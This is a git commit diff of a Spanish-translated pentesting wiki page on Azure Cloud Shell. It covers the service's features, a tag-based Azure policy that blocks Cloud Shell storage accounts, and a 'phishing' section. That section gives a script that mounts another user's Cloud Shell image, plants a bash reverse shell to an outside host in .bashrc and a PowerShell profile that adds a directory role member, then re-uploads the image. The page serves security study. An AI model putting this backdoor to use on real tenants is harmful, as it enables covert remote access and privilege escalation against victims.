Translated ['src/pentesting-cloud/azure-security/az-services/az-cloud-sh

This commit is contained in:
Translator
2025-02-21 13:57:18 +00:00
parent 5466df8966
commit fa0c50519d

View File

@@ -4,24 +4,113 @@
## Azure Cloud Shell
**Azure Cloud Shell** es un terminal interactivo, autenticado y accesible desde el navegador, diseñado para gestionar recursos de Azure, ofreciendo la flexibilidad de trabajar con Bash o PowerShell. Se ejecuta en un host temporal por sesión que expira después de 20 minutos de inactividad, mientras persiste archivos en la ubicación $HOME utilizando un recurso compartido de archivos de 5 GB. Cloud Shell se puede acceder a través de múltiples puntos, incluyendo el portal de Azure, shell.azure.com, la documentación de Azure CLI y PowerShell, la aplicación móvil de Azure y la extensión de Azure Account de Visual Studio Code.
**Azure Cloud Shell** es un terminal interactivo, autenticado y accesible a través del navegador, diseñado para gestionar recursos de Azure, ofreciendo la flexibilidad de trabajar con Bash o PowerShell. Se ejecuta en un host temporal por sesión que se agota después de 20 minutos de inactividad, mientras persiste archivos en la ubicación $HOME utilizando un recurso compartido de 5 GB. Cloud Shell se puede acceder a través de múltiples puntos, incluyendo el portal de Azure, shell.azure.com, la documentación de Azure CLI y PowerShell, la aplicación móvil de Azure y la extensión de Azure Account de Visual Studio Code.
No hay permisos asignados a este servicio, por lo tanto, no hay técnicas de escalada de privilegios. Además, no hay ningún tipo de enumeración.
### Características Clave
**Entorno**: Azure Cloud Shell proporciona un entorno seguro al ejecutarse en Azure Linux, la propia distribución de Linux de Microsoft diseñada para infraestructura en la nube. Todos los paquetes incluidos en el repositorio de Azure Linux son compilados internamente por Microsoft para protegerse contra ataques a la cadena de suministro.
**Herramientas Preinstaladas**: Cloud Shell incluye un conjunto completo de herramientas preinstaladas como Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git y editores de texto como vim, nano y emacs. Estas herramientas están listas para usar. Para listar los paquetes y módulos instalados, puedes usar "Get-Module -ListAvailable", "tdnf list" y "pip3 list".
**Persistencia de $HOME**: Al iniciar Azure Cloud Shell por primera vez, puedes usarlo con o sin una cuenta de almacenamiento adjunta. Elegir no adjuntar almacenamiento crea una sesión efímera donde los archivos se eliminan al finalizar la sesión. Para persistir archivos entre sesiones, monta una cuenta de almacenamiento, que se adjunta automáticamente como **$HOME\clouddrive**, con tu directorio **$HOME** guardado como un archivo **.img** en Azure File Share. Sin embargo, los archivos fuera de $HOME y los estados de la máquina no se persisten. Para almacenar de forma segura secretos como claves SSH, utiliza Azure Key Vault.
**Unidad de Azure (Azure:)**: PowerShell en Azure Cloud Shell incluye la unidad de Azure (Azure:), que permite una navegación fácil de los recursos de Azure como Compute, Network y Storage utilizando comandos similares a los del sistema de archivos. Cambia a la unidad de Azure con cd Azure: y regresa a tu directorio personal con cd ~. Aún puedes usar cmdlets de Azure PowerShell para gestionar recursos desde cualquier unidad.
**Instalación de Herramientas Personalizadas**: Los usuarios que configuran Cloud Shell con una cuenta de almacenamiento pueden instalar herramientas adicionales que no requieren permisos de root. Esta característica permite una mayor personalización del entorno de Cloud Shell, permitiendo a los usuarios adaptar su configuración a sus necesidades específicas.
- **Herramientas Preinstaladas**: Cloud Shell incluye un conjunto completo de herramientas preinstaladas como Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git y editores de texto como vim, nano y emacs. Estas herramientas están listas para usar. Para listar los paquetes y módulos instalados, puedes usar "Get-Module -ListAvailable", "tdnf list" y "pip3 list".
- **Unidad de Azure (Azure:)**: PowerShell en Azure Cloud Shell incluye la unidad de Azure (Azure:), que permite una fácil navegación de recursos de Azure como Compute, Network y Storage utilizando comandos similares a los del sistema de archivos. Cambia a la unidad de Azure con cd Azure: y regresa a tu directorio personal con cd ~. Aún puedes usar cmdlets de Azure PowerShell para gestionar recursos desde cualquier unidad.
- **Instalación de Herramientas Personalizadas**: Los usuarios que configuran Cloud Shell con una cuenta de almacenamiento pueden instalar herramientas adicionales que no requieren permisos de root. Esta característica permite una mayor personalización del entorno de Cloud Shell, permitiendo a los usuarios adaptar su configuración a sus necesidades específicas.
- **Persistencia de $HOME**: Al iniciar Azure Cloud Shell por primera vez, puedes usarlo con o sin una cuenta de almacenamiento adjunta.
- Elegir no adjuntar almacenamiento crea una sesión efímera donde los archivos se eliminan cuando la sesión termina.
- Para persistir archivos a través de sesiones, se te da la opción de **montar una cuenta de almacenamiento**, que se adjunta automáticamente como `$HOME\clouddrive`, con tu directorio `$HOME` **guardado como un archivo .img en un recurso compartido.**
### Phishing en Cloud Shell
Si un atacante encuentra imágenes de otros usuarios en una Cuenta de Almacenamiento a la que tiene acceso de escritura y lectura, podrá descargar la imagen, **agregar un backdoor de bash y PS en ella**, y volver a subirla a la Cuenta de Almacenamiento para que la próxima vez que el usuario acceda a la shell, los **comandos se ejecuten automáticamente**.
- **Descargar, backdoor y subir la imagen:**
```bash
# Download image
mkdir /tmp/phishing_img
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name>
# Mount image
cd /tmp/phishing_img/.cloudconsole
mkdir /tmp/cloudpoison
sudo mount acc_username.img /tmp/cloudpoison
cd /tmp/cloudpoison
sudo mkdir .config
sudo mkdir .config/PowerShell
sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
# Bash backdoor
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
# PS backdoor
echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
cd /tmp
sudo umount /tmp/cloudpoison
# Upload image
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img"
```
- **Luego, phishing al usuario para acceder a https://shell.azure.com/**
### Encontrar y Prohibir Cuentas de Almacenamiento Automáticas de Cloud Shell
Las cuentas de almacenamiento creadas por Cloud Shell están etiquetadas con **`ms-resource-usage:azure-cloud-shell`**. Es posible crear una política de recursos de Azure que desactive la creación de recursos con esta etiqueta.
Encuentra todas las cuentas de almacenamiento creadas por Cloud Shell por etiquetas:
```bash
az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")'
```
Política para prohibir la creación de cuentas de almacenamiento automáticas para el almacenamiento de cloud shell basadas en etiquetas:
```json
{
displayName: "Restrict cloud shell storage account creation",
description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy",
metadata: {
category: "Storage",
version: "1.0.0"
},
mode: "All",
parameters: {
effect: {
type: "String",
metadata: {
displayName: "Effect",
description: "Deny, Audit or Disabled the execution of the Policy"
},
allowedValues: [
"Deny",
"Audit",
"Disabled"
],
defaultValue: "Audit"
}
},
policyRule: {
if: {
allOf: [
{
field: "type",
equals: "Microsoft.Storage/storageAccounts"
},
{
field: "tags['ms-resource-usage']",
equals: "azure-cloud-shell"
}
]
},
then: {
effect: "[parameters('effect')]"
}
}
}
```
## Referencias
- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
## Persistencia
{{#ref}}